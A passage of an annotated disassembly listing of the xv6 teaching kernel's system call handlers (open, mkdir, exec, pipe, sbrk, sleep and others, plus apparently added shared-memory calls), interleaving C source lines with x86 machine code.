80104d8c: 89 44 24 04 mov %eax,0x4(%esp)
80104d90: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104d97: e8 44 f8 ff ff call 801045e0 <argstr>
80104d9c: 85 c0 test %eax,%eax
80104d9e: 0f 88 d1 00 00 00 js 80104e75 <sys_open+0xf5>
80104da4: 8d 45 e4 lea -0x1c(%ebp),%eax
80104da7: 89 44 24 04 mov %eax,0x4(%esp)
80104dab: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104db2: e8 89 f7 ff ff call 80104540 <argint>
80104db7: 85 c0 test %eax,%eax
80104db9: 0f 88 b6 00 00 00 js 80104e75 <sys_open+0xf5>
return -1;
begin_op();
80104dbf: e8 3c dd ff ff call 80102b00 <begin_op>
if(omode & O_CREATE){
80104dc4: f6 45 e5 02 testb $0x2,-0x1b(%ebp)
80104dc8: 0f 85 82 00 00 00 jne 80104e50 <sys_open+0xd0>
if(ip == 0){
end_op();
return -1;
}
} else {
if((ip = namei(path)) == 0){
80104dce: 8b 45 e0 mov -0x20(%ebp),%eax
80104dd1: 89 04 24 mov %eax,(%esp)
80104dd4: e8 17 d1 ff ff call 80101ef0 <namei>
80104dd9: 85 c0 test %eax,%eax
80104ddb: 89 c6 mov %eax,%esi
80104ddd: 0f 84 8d 00 00 00 je 80104e70 <sys_open+0xf0>
end_op();
return -1;
}
ilock(ip);
80104de3: 89 04 24 mov %eax,(%esp)
80104de6: e8 b5 c8 ff ff call 801016a0 <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
80104deb: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80104df0: 0f 84 92 00 00 00 je 80104e88 <sys_open+0x108>
end_op();
return -1;
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
80104df6: e8 55 bf ff ff call 80100d50 <filealloc>
80104dfb: 85 c0 test %eax,%eax
80104dfd: 89 c3 mov %eax,%ebx
80104dff: 0f 84 93 00 00 00 je 80104e98 <sys_open+0x118>
80104e05: e8 86 f8 ff ff call 80104690 <fdalloc>
80104e0a: 85 c0 test %eax,%eax
80104e0c: 89 c7 mov %eax,%edi
80104e0e: 0f 88 94 00 00 00 js 80104ea8 <sys_open+0x128>
fileclose(f);
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
80104e14: 89 34 24 mov %esi,(%esp)
80104e17: e8 64 c9 ff ff call 80101780 <iunlock>
end_op();
80104e1c: e8 4f dd ff ff call 80102b70 <end_op>
f->type = FD_INODE;
80104e21: c7 03 02 00 00 00 movl $0x2,(%ebx)
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
80104e27: 8b 45 e4 mov -0x1c(%ebp),%eax
f->ip = ip;
80104e2a: 89 73 10 mov %esi,0x10(%ebx)
f->off = 0;
80104e2d: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
f->readable = !(omode & O_WRONLY);
80104e34: 89 c2 mov %eax,%edx
80104e36: 83 e2 01 and $0x1,%edx
80104e39: 83 f2 01 xor $0x1,%edx
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80104e3c: a8 03 test $0x3,%al
f->readable = !(omode & O_WRONLY);
80104e3e: 88 53 08 mov %dl,0x8(%ebx)
return fd;
80104e41: 89 f8 mov %edi,%eax
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80104e43: 0f 95 43 09 setne 0x9(%ebx)
}
80104e47: 83 c4 2c add $0x2c,%esp
80104e4a: 5b pop %ebx
80104e4b: 5e pop %esi
80104e4c: 5f pop %edi
80104e4d: 5d pop %ebp
80104e4e: c3 ret
80104e4f: 90 nop
ip = create(path, T_FILE, 0, 0);
80104e50: 8b 45 e0 mov -0x20(%ebp),%eax
80104e53: 31 c9 xor %ecx,%ecx
80104e55: ba 02 00 00 00 mov $0x2,%edx
80104e5a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104e61: e8 6a f8 ff ff call 801046d0 <create>
if(ip == 0){
80104e66: 85 c0 test %eax,%eax
ip = create(path, T_FILE, 0, 0);
80104e68: 89 c6 mov %eax,%esi
if(ip == 0){
80104e6a: 75 8a jne 80104df6 <sys_open+0x76>
80104e6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
end_op();
80104e70: e8 fb dc ff ff call 80102b70 <end_op>
}
80104e75: 83 c4 2c add $0x2c,%esp
return -1;
80104e78: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104e7d: 5b pop %ebx
80104e7e: 5e pop %esi
80104e7f: 5f pop %edi
80104e80: 5d pop %ebp
80104e81: c3 ret
80104e82: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(ip->type == T_DIR && omode != O_RDONLY){
80104e88: 8b 45 e4 mov -0x1c(%ebp),%eax
80104e8b: 85 c0 test %eax,%eax
80104e8d: 0f 84 63 ff ff ff je 80104df6 <sys_open+0x76>
80104e93: 90 nop
80104e94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
iunlockput(ip);
80104e98: 89 34 24 mov %esi,(%esp)
80104e9b: e8 60 ca ff ff call 80101900 <iunlockput>
80104ea0: eb ce jmp 80104e70 <sys_open+0xf0>
80104ea2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
fileclose(f);
80104ea8: 89 1c 24 mov %ebx,(%esp)
80104eab: e8 60 bf ff ff call 80100e10 <fileclose>
80104eb0: eb e6 jmp 80104e98 <sys_open+0x118>
80104eb2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104eb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104ec0 <sys_mkdir>:
int
sys_mkdir(void)
{
80104ec0: 55 push %ebp
80104ec1: 89 e5 mov %esp,%ebp
80104ec3: 83 ec 28 sub $0x28,%esp
char *path;
struct inode *ip;
begin_op();
80104ec6: e8 35 dc ff ff call 80102b00 <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
80104ecb: 8d 45 f4 lea -0xc(%ebp),%eax
80104ece: 89 44 24 04 mov %eax,0x4(%esp)
80104ed2: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104ed9: e8 02 f7 ff ff call 801045e0 <argstr>
80104ede: 85 c0 test %eax,%eax
80104ee0: 78 2e js 80104f10 <sys_mkdir+0x50>
80104ee2: 8b 45 f4 mov -0xc(%ebp),%eax
80104ee5: 31 c9 xor %ecx,%ecx
80104ee7: ba 01 00 00 00 mov $0x1,%edx
80104eec: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104ef3: e8 d8 f7 ff ff call 801046d0 <create>
80104ef8: 85 c0 test %eax,%eax
80104efa: 74 14 je 80104f10 <sys_mkdir+0x50>
end_op();
return -1;
}
iunlockput(ip);
80104efc: 89 04 24 mov %eax,(%esp)
80104eff: e8 fc c9 ff ff call 80101900 <iunlockput>
end_op();
80104f04: e8 67 dc ff ff call 80102b70 <end_op>
return 0;
80104f09: 31 c0 xor %eax,%eax
}
80104f0b: c9 leave
80104f0c: c3 ret
80104f0d: 8d 76 00 lea 0x0(%esi),%esi
end_op();
80104f10: e8 5b dc ff ff call 80102b70 <end_op>
return -1;
80104f15: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104f1a: c9 leave
80104f1b: c3 ret
80104f1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104f20 <sys_mknod>:
int
sys_mknod(void)
{
80104f20: 55 push %ebp
80104f21: 89 e5 mov %esp,%ebp
80104f23: 83 ec 28 sub $0x28,%esp
struct inode *ip;
char *path;
int major, minor;
begin_op();
80104f26: e8 d5 db ff ff call 80102b00 <begin_op>
if((argstr(0, &path)) < 0 ||
80104f2b: 8d 45 ec lea -0x14(%ebp),%eax
80104f2e: 89 44 24 04 mov %eax,0x4(%esp)
80104f32: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104f39: e8 a2 f6 ff ff call 801045e0 <argstr>
80104f3e: 85 c0 test %eax,%eax
80104f40: 78 5e js 80104fa0 <sys_mknod+0x80>
argint(1, &major) < 0 ||
80104f42: 8d 45 f0 lea -0x10(%ebp),%eax
80104f45: 89 44 24 04 mov %eax,0x4(%esp)
80104f49: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104f50: e8 eb f5 ff ff call 80104540 <argint>
if((argstr(0, &path)) < 0 ||
80104f55: 85 c0 test %eax,%eax
80104f57: 78 47 js 80104fa0 <sys_mknod+0x80>
argint(2, &minor) < 0 ||
80104f59: 8d 45 f4 lea -0xc(%ebp),%eax
80104f5c: 89 44 24 04 mov %eax,0x4(%esp)
80104f60: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80104f67: e8 d4 f5 ff ff call 80104540 <argint>
argint(1, &major) < 0 ||
80104f6c: 85 c0 test %eax,%eax
80104f6e: 78 30 js 80104fa0 <sys_mknod+0x80>
(ip = create(path, T_DEV, major, minor)) == 0){
80104f70: 0f bf 45 f4 movswl -0xc(%ebp),%eax
argint(2, &minor) < 0 ||
80104f74: ba 03 00 00 00 mov $0x3,%edx
(ip = create(path, T_DEV, major, minor)) == 0){
80104f79: 0f bf 4d f0 movswl -0x10(%ebp),%ecx
80104f7d: 89 04 24 mov %eax,(%esp)
argint(2, &minor) < 0 ||
80104f80: 8b 45 ec mov -0x14(%ebp),%eax
80104f83: e8 48 f7 ff ff call 801046d0 <create>
80104f88: 85 c0 test %eax,%eax
80104f8a: 74 14 je 80104fa0 <sys_mknod+0x80>
end_op();
return -1;
}
iunlockput(ip);
80104f8c: 89 04 24 mov %eax,(%esp)
80104f8f: e8 6c c9 ff ff call 80101900 <iunlockput>
end_op();
80104f94: e8 d7 db ff ff call 80102b70 <end_op>
return 0;
80104f99: 31 c0 xor %eax,%eax
}
80104f9b: c9 leave
80104f9c: c3 ret
80104f9d: 8d 76 00 lea 0x0(%esi),%esi
end_op();
80104fa0: e8 cb db ff ff call 80102b70 <end_op>
return -1;
80104fa5: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104faa: c9 leave
80104fab: c3 ret
80104fac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104fb0 <sys_chdir>:
int
sys_chdir(void)
{
80104fb0: 55 push %ebp
80104fb1: 89 e5 mov %esp,%ebp
80104fb3: 56 push %esi
80104fb4: 53 push %ebx
80104fb5: 83 ec 20 sub $0x20,%esp
char *path;
struct inode *ip;
struct proc *curproc = myproc();
80104fb8: e8 d3 e6 ff ff call 80103690 <myproc>
80104fbd: 89 c6 mov %eax,%esi
begin_op();
80104fbf: e8 3c db ff ff call 80102b00 <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
80104fc4: 8d 45 f4 lea -0xc(%ebp),%eax
80104fc7: 89 44 24 04 mov %eax,0x4(%esp)
80104fcb: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104fd2: e8 09 f6 ff ff call 801045e0 <argstr>
80104fd7: 85 c0 test %eax,%eax
80104fd9: 78 4a js 80105025 <sys_chdir+0x75>
80104fdb: 8b 45 f4 mov -0xc(%ebp),%eax
80104fde: 89 04 24 mov %eax,(%esp)
80104fe1: e8 0a cf ff ff call 80101ef0 <namei>
80104fe6: 85 c0 test %eax,%eax
80104fe8: 89 c3 mov %eax,%ebx
80104fea: 74 39 je 80105025 <sys_chdir+0x75>
end_op();
return -1;
}
ilock(ip);
80104fec: 89 04 24 mov %eax,(%esp)
80104fef: e8 ac c6 ff ff call 801016a0 <ilock>
if(ip->type != T_DIR){
80104ff4: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
iunlockput(ip);
80104ff9: 89 1c 24 mov %ebx,(%esp)
if(ip->type != T_DIR){
80104ffc: 75 22 jne 80105020 <sys_chdir+0x70>
end_op();
return -1;
}
iunlock(ip);
80104ffe: e8 7d c7 ff ff call 80101780 <iunlock>
iput(curproc->cwd);
80105003: 8b 46 68 mov 0x68(%esi),%eax
80105006: 89 04 24 mov %eax,(%esp)
80105009: e8 b2 c7 ff ff call 801017c0 <iput>
end_op();
8010500e: e8 5d db ff ff call 80102b70 <end_op>
curproc->cwd = ip;
return 0;
80105013: 31 c0 xor %eax,%eax
curproc->cwd = ip;
80105015: 89 5e 68 mov %ebx,0x68(%esi)
}
80105018: 83 c4 20 add $0x20,%esp
8010501b: 5b pop %ebx
8010501c: 5e pop %esi
8010501d: 5d pop %ebp
8010501e: c3 ret
8010501f: 90 nop
iunlockput(ip);
80105020: e8 db c8 ff ff call 80101900 <iunlockput>
end_op();
80105025: e8 46 db ff ff call 80102b70 <end_op>
}
8010502a: 83 c4 20 add $0x20,%esp
return -1;
8010502d: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105032: 5b pop %ebx
80105033: 5e pop %esi
80105034: 5d pop %ebp
80105035: c3 ret
80105036: 8d 76 00 lea 0x0(%esi),%esi
80105039: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105040 <sys_exec>:
int
sys_exec(void)
{
80105040: 55 push %ebp
80105041: 89 e5 mov %esp,%ebp
80105043: 57 push %edi
80105044: 56 push %esi
80105045: 53 push %ebx
80105046: 81 ec ac 00 00 00 sub $0xac,%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
8010504c: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax
80105052: 89 44 24 04 mov %eax,0x4(%esp)
80105056: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010505d: e8 7e f5 ff ff call 801045e0 <argstr>
80105062: 85 c0 test %eax,%eax
80105064: 0f 88 84 00 00 00 js 801050ee <sys_exec+0xae>
8010506a: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax
80105070: 89 44 24 04 mov %eax,0x4(%esp)
80105074: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010507b: e8 c0 f4 ff ff call 80104540 <argint>
80105080: 85 c0 test %eax,%eax
80105082: 78 6a js 801050ee <sys_exec+0xae>
return -1;
}
memset(argv, 0, sizeof(argv));
80105084: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
for(i=0;; i++){
8010508a: 31 db xor %ebx,%ebx
memset(argv, 0, sizeof(argv));
8010508c: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
80105093: 00
80105094: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi
8010509a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801050a1: 00
801050a2: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi
801050a8: 89 04 24 mov %eax,(%esp)
801050ab: e8 c0 f1 ff ff call 80104270 <memset>
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
801050b0: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax
801050b6: 89 7c 24 04 mov %edi,0x4(%esp)
801050ba: 8d 04 98 lea (%eax,%ebx,4),%eax
801050bd: 89 04 24 mov %eax,(%esp)
801050c0: e8 fb f3 ff ff call 801044c0 <fetchint>
801050c5: 85 c0 test %eax,%eax
801050c7: 78 25 js 801050ee <sys_exec+0xae>
return -1;
if(uarg == 0){
801050c9: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax
801050cf: 85 c0 test %eax,%eax
801050d1: 74 2d je 80105100 <sys_exec+0xc0>
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
801050d3: 89 74 24 04 mov %esi,0x4(%esp)
801050d7: 89 04 24 mov %eax,(%esp)
801050da: e8 01 f4 ff ff call 801044e0 <fetchstr>
801050df: 85 c0 test %eax,%eax
801050e1: 78 0b js 801050ee <sys_exec+0xae>
for(i=0;; i++){
801050e3: 83 c3 01 add $0x1,%ebx
801050e6: 83 c6 04 add $0x4,%esi
if(i >= NELEM(argv))
801050e9: 83 fb 20 cmp $0x20,%ebx
801050ec: 75 c2 jne 801050b0 <sys_exec+0x70>
return -1;
}
return exec(path, argv);
}
801050ee: 81 c4 ac 00 00 00 add $0xac,%esp
return -1;
801050f4: b8 ff ff ff ff mov $0xffffffff,%eax
}
801050f9: 5b pop %ebx
801050fa: 5e pop %esi
801050fb: 5f pop %edi
801050fc: 5d pop %ebp
801050fd: c3 ret
801050fe: 66 90 xchg %ax,%ax
return exec(path, argv);
80105100: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
80105106: 89 44 24 04 mov %eax,0x4(%esp)
8010510a: 8b 85 5c ff ff ff mov -0xa4(%ebp),%eax
argv[i] = 0;
80105110: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4)
80105117: 00 00 00 00
return exec(path, argv);
8010511b: 89 04 24 mov %eax,(%esp)
8010511e: e8 7d b8 ff ff call 801009a0 <exec>
}
80105123: 81 c4 ac 00 00 00 add $0xac,%esp
80105129: 5b pop %ebx
8010512a: 5e pop %esi
8010512b: 5f pop %edi
8010512c: 5d pop %ebp
8010512d: c3 ret
8010512e: 66 90 xchg %ax,%ax
80105130 <sys_pipe>:
int
sys_pipe(void)
{
80105130: 55 push %ebp
80105131: 89 e5 mov %esp,%ebp
80105133: 53 push %ebx
80105134: 83 ec 24 sub $0x24,%esp
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
80105137: 8d 45 ec lea -0x14(%ebp),%eax
8010513a: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp)
80105141: 00
80105142: 89 44 24 04 mov %eax,0x4(%esp)
80105146: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010514d: e8 2e f4 ff ff call 80104580 <argptr>
80105152: 85 c0 test %eax,%eax
80105154: 78 6d js 801051c3 <sys_pipe+0x93>
return -1;
if(pipealloc(&rf, &wf) < 0)
80105156: 8d 45 f4 lea -0xc(%ebp),%eax
80105159: 89 44 24 04 mov %eax,0x4(%esp)
8010515d: 8d 45 f0 lea -0x10(%ebp),%eax
80105160: 89 04 24 mov %eax,(%esp)
80105163: e8 f8 df ff ff call 80103160 <pipealloc>
80105168: 85 c0 test %eax,%eax
8010516a: 78 57 js 801051c3 <sys_pipe+0x93>
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
8010516c: 8b 45 f0 mov -0x10(%ebp),%eax
8010516f: e8 1c f5 ff ff call 80104690 <fdalloc>
80105174: 85 c0 test %eax,%eax
80105176: 89 c3 mov %eax,%ebx
80105178: 78 33 js 801051ad <sys_pipe+0x7d>
8010517a: 8b 45 f4 mov -0xc(%ebp),%eax
8010517d: e8 0e f5 ff ff call 80104690 <fdalloc>
80105182: 85 c0 test %eax,%eax
80105184: 78 1a js 801051a0 <sys_pipe+0x70>
myproc()->ofile[fd0] = 0;
fileclose(rf);
fileclose(wf);
return -1;
}
fd[0] = fd0;
80105186: 8b 55 ec mov -0x14(%ebp),%edx
80105189: 89 1a mov %ebx,(%edx)
fd[1] = fd1;
8010518b: 8b 55 ec mov -0x14(%ebp),%edx
8010518e: 89 42 04 mov %eax,0x4(%edx)
return 0;
}
80105191: 83 c4 24 add $0x24,%esp
return 0;
80105194: 31 c0 xor %eax,%eax
}
80105196: 5b pop %ebx
80105197: 5d pop %ebp
80105198: c3 ret
80105199: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
myproc()->ofile[fd0] = 0;
801051a0: e8 eb e4 ff ff call 80103690 <myproc>
801051a5: c7 44 98 28 00 00 00 movl $0x0,0x28(%eax,%ebx,4)
801051ac: 00
fileclose(rf);
801051ad: 8b 45 f0 mov -0x10(%ebp),%eax
801051b0: 89 04 24 mov %eax,(%esp)
801051b3: e8 58 bc ff ff call 80100e10 <fileclose>
fileclose(wf);
801051b8: 8b 45 f4 mov -0xc(%ebp),%eax
801051bb: 89 04 24 mov %eax,(%esp)
801051be: e8 4d bc ff ff call 80100e10 <fileclose>
}
801051c3: 83 c4 24 add $0x24,%esp
return -1;
801051c6: b8 ff ff ff ff mov $0xffffffff,%eax
}
801051cb: 5b pop %ebx
801051cc: 5d pop %ebp
801051cd: c3 ret
801051ce: 66 90 xchg %ax,%ax
801051d0 <sys_shm_open>:
#include "param.h"
#include "memlayout.h"
#include "mmu.h"
#include "proc.h"
int sys_shm_open(void) {
801051d0: 55 push %ebp
801051d1: 89 e5 mov %esp,%ebp
801051d3: 83 ec 28 sub $0x28,%esp
int id;
char **pointer;
if(argint(0, &id) < 0)
801051d6: 8d 45 f0 lea -0x10(%ebp),%eax
801051d9: 89 44 24 04 mov %eax,0x4(%esp)
801051dd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801051e4: e8 57 f3 ff ff call 80104540 <argint>
801051e9: 85 c0 test %eax,%eax
801051eb: 78 33 js 80105220 <sys_shm_open+0x50>
return -1;
if(argptr(1, (char **) (&pointer),4)<0)
801051ed: 8d 45 f4 lea -0xc(%ebp),%eax
801051f0: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
801051f7: 00
801051f8: 89 44 24 04 mov %eax,0x4(%esp)
801051fc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105203: e8 78 f3 ff ff call 80104580 <argptr>
80105208: 85 c0 test %eax,%eax
8010520a: 78 14 js 80105220 <sys_shm_open+0x50>
return -1;
return shm_open(id, pointer);
8010520c: 8b 45 f4 mov -0xc(%ebp),%eax
8010520f: 89 44 24 04 mov %eax,0x4(%esp)
80105213: 8b 45 f0 mov -0x10(%ebp),%eax
80105216: 89 04 24 mov %eax,(%esp)
80105219: e8 f2 1b 00 00 call 80106e10 <shm_open>
}
8010521e: c9 leave
8010521f: c3 ret
return -1;
80105220: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105225: c9 leave
80105226: c3 ret
80105227: 89 f6 mov %esi,%esi
80105229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105230 <sys_shm_close>:
int sys_shm_close(void) {
80105230: 55 push %ebp
80105231: 89 e5 mov %esp,%ebp
80105233: 83 ec 28 sub $0x28,%esp
int id;
if(argint(0, &id) < 0)
80105236: 8d 45 f4 lea -0xc(%ebp),%eax
80105239: 89 44 24 04 mov %eax,0x4(%esp)
8010523d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105244: e8 f7 f2 ff ff call 80104540 <argint>
80105249: 85 c0 test %eax,%eax
8010524b: 78 13 js 80105260 <sys_shm_close+0x30>
return -1;
return shm_close(id);
8010524d: 8b 45 f4 mov -0xc(%ebp),%eax
80105250: 89 04 24 mov %eax,(%esp)
80105253: e8 c8 1b 00 00 call 80106e20 <shm_close>
}
80105258: c9 leave
80105259: c3 ret
8010525a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
80105260: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105265: c9 leave
80105266: c3 ret
80105267: 89 f6 mov %esi,%esi
80105269: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105270 <sys_fork>:
int
sys_fork(void)
{
80105270: 55 push %ebp
80105271: 89 e5 mov %esp,%ebp
return fork();
}
80105273: 5d pop %ebp
return fork();
80105274: e9 c7 e5 ff ff jmp 80103840 <fork>
80105279: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105280 <sys_exit>:
int
sys_exit(void)
{
80105280: 55 push %ebp
80105281: 89 e5 mov %esp,%ebp
80105283: 83 ec 08 sub $0x8,%esp
exit();
80105286: e8 05 e8 ff ff call 80103a90 <exit>
return 0; // not reached
}
8010528b: 31 c0 xor %eax,%eax
8010528d: c9 leave
8010528e: c3 ret
8010528f: 90 nop
80105290 <sys_wait>:
int
sys_wait(void)
{
80105290: 55 push %ebp
80105291: 89 e5 mov %esp,%ebp
return wait();
}
80105293: 5d pop %ebp
return wait();
80105294: e9 07 ea ff ff jmp 80103ca0 <wait>
80105299: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801052a0 <sys_kill>:
int
sys_kill(void)
{
801052a0: 55 push %ebp
801052a1: 89 e5 mov %esp,%ebp
801052a3: 83 ec 28 sub $0x28,%esp
int pid;
if(argint(0, &pid) < 0)
801052a6: 8d 45 f4 lea -0xc(%ebp),%eax
801052a9: 89 44 24 04 mov %eax,0x4(%esp)
801052ad: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801052b4: e8 87 f2 ff ff call 80104540 <argint>
801052b9: 85 c0 test %eax,%eax
801052bb: 78 13 js 801052d0 <sys_kill+0x30>
return -1;
return kill(pid);
801052bd: 8b 45 f4 mov -0xc(%ebp),%eax
801052c0: 89 04 24 mov %eax,(%esp)
801052c3: e8 18 eb ff ff call 80103de0 <kill>
}
801052c8: c9 leave
801052c9: c3 ret
801052ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
801052d0: b8 ff ff ff ff mov $0xffffffff,%eax
}
801052d5: c9 leave
801052d6: c3 ret
801052d7: 89 f6 mov %esi,%esi
801052d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801052e0 <sys_getpid>:
int
sys_getpid(void)
{
801052e0: 55 push %ebp
801052e1: 89 e5 mov %esp,%ebp
801052e3: 83 ec 08 sub $0x8,%esp
return myproc()->pid;
801052e6: e8 a5 e3 ff ff call 80103690 <myproc>
801052eb: 8b 40 10 mov 0x10(%eax),%eax
}
801052ee: c9 leave
801052ef: c3 ret
801052f0 <sys_sbrk>:
int
sys_sbrk(void)
{
801052f0: 55 push %ebp
801052f1: 89 e5 mov %esp,%ebp
801052f3: 53 push %ebx
801052f4: 83 ec 24 sub $0x24,%esp
int addr;
int n;
if(argint(0, &n) < 0)
801052f7: 8d 45 f4 lea -0xc(%ebp),%eax
801052fa: 89 44 24 04 mov %eax,0x4(%esp)
801052fe: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105305: e8 36 f2 ff ff call 80104540 <argint>
8010530a: 85 c0 test %eax,%eax
8010530c: 78 22 js 80105330 <sys_sbrk+0x40>
return -1;
addr = myproc()->sz;
8010530e: e8 7d e3 ff ff call 80103690 <myproc>
if(growproc(n) < 0)
80105313: 8b 55 f4 mov -0xc(%ebp),%edx
addr = myproc()->sz;
80105316: 8b 18 mov (%eax),%ebx
if(growproc(n) < 0)
80105318: 89 14 24 mov %edx,(%esp)
8010531b: e8 b0 e4 ff ff call 801037d0 <growproc>
80105320: 85 c0 test %eax,%eax
80105322: 78 0c js 80105330 <sys_sbrk+0x40>
return -1;
return addr;
80105324: 89 d8 mov %ebx,%eax
}
80105326: 83 c4 24 add $0x24,%esp
80105329: 5b pop %ebx
8010532a: 5d pop %ebp
8010532b: c3 ret
8010532c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80105330: b8 ff ff ff ff mov $0xffffffff,%eax
80105335: eb ef jmp 80105326 <sys_sbrk+0x36>
80105337: 89 f6 mov %esi,%esi
80105339: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105340 <sys_sleep>:
int
sys_sleep(void)
{
80105340: 55 push %ebp
80105341: 89 e5 mov %esp,%ebp
80105343: 53 push %ebx
80105344: 83 ec 24 sub $0x24,%esp
int n;
uint ticks0;
if(argint(0, &n) < 0)
80105347: 8d 45 f4 lea -0xc(%ebp),%eax
8010534a: 89 44 24 04 mov %eax,0x4(%esp)
8010534e: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105355: e8 e6 f1 ff ff call 80104540 <argint>
8010535a: 85 c0 test %eax,%eax
8010535c: 78 7e js 801053dc <sys_sleep+0x9c>
return -1;
acquire(&tickslock);
8010535e: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
80105365: e8 c6 ed ff ff call 80104130 <acquire>
ticks0 = ticks;
while(ticks - ticks0 < n){
8010536a: 8b 55 f4 mov -0xc(%ebp),%edx
ticks0 = ticks;
8010536d: 8b 1d a0 55 11 80 mov 0x801155a0,%ebx
while(ticks - ticks0 < n){
80105373: 85 d2 test %edx,%edx
80105375: 75 29 jne 801053a0 <sys_sleep+0x60>
80105377: eb 4f jmp 801053c8 <sys_sleep+0x88>
80105379: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc()->killed){
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
80105380: c7 44 24 04 60 4d 11 movl $0x80114d60,0x4(%esp)
80105387: 80
80105388: c7 04 24 a0 55 11 80 movl $0x801155a0,(%esp)
8010538f: e8 5c e8 ff ff call 80103bf0 <sleep>
while(ticks - ticks0 < n){
80105394: a1 a0 55 11 80 mov 0x801155a0,%eax
80105399: 29 d8 sub %ebx,%eax
8010539b: 3b 45 f4 cmp -0xc(%ebp),%eax
8010539e: 73 28 jae 801053c8 <sys_sleep+0x88>
if(myproc()->killed){
801053a0: e8 eb e2 ff ff call 80103690 <myproc>
801053a5: 8b 40 24 mov 0x24(%eax),%eax
801053a8: 85 c0 test %eax,%eax
801053aa: 74 d4 je 80105380 <sys_sleep+0x40>
release(&tickslock);
801053ac: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
801053b3: e8 68 ee ff ff call 80104220 <release>
return -1;
801053b8: b8 ff ff ff ff mov $0xffffffff,%eax
}
release(&tickslock);
return 0;
}
801053bd: 83 c4 24 add $0x24,%esp
801053c0: 5b pop %ebx
801053c1: 5d pop %ebp
801053c2: c3 ret
801053c3: 90 nop
801053c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
release(&tickslock);
801053c8: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
801053cf: e8 4c ee ff ff call 80104220 <release>
}
801053d4: 83 c4 24 add $0x24,%esp
return 0;
801053d7: 31 c0 xor %eax,%eax
}
801053d9: 5b pop %ebx
801053da: 5d pop %ebp
801053db: c3 ret
return -1;
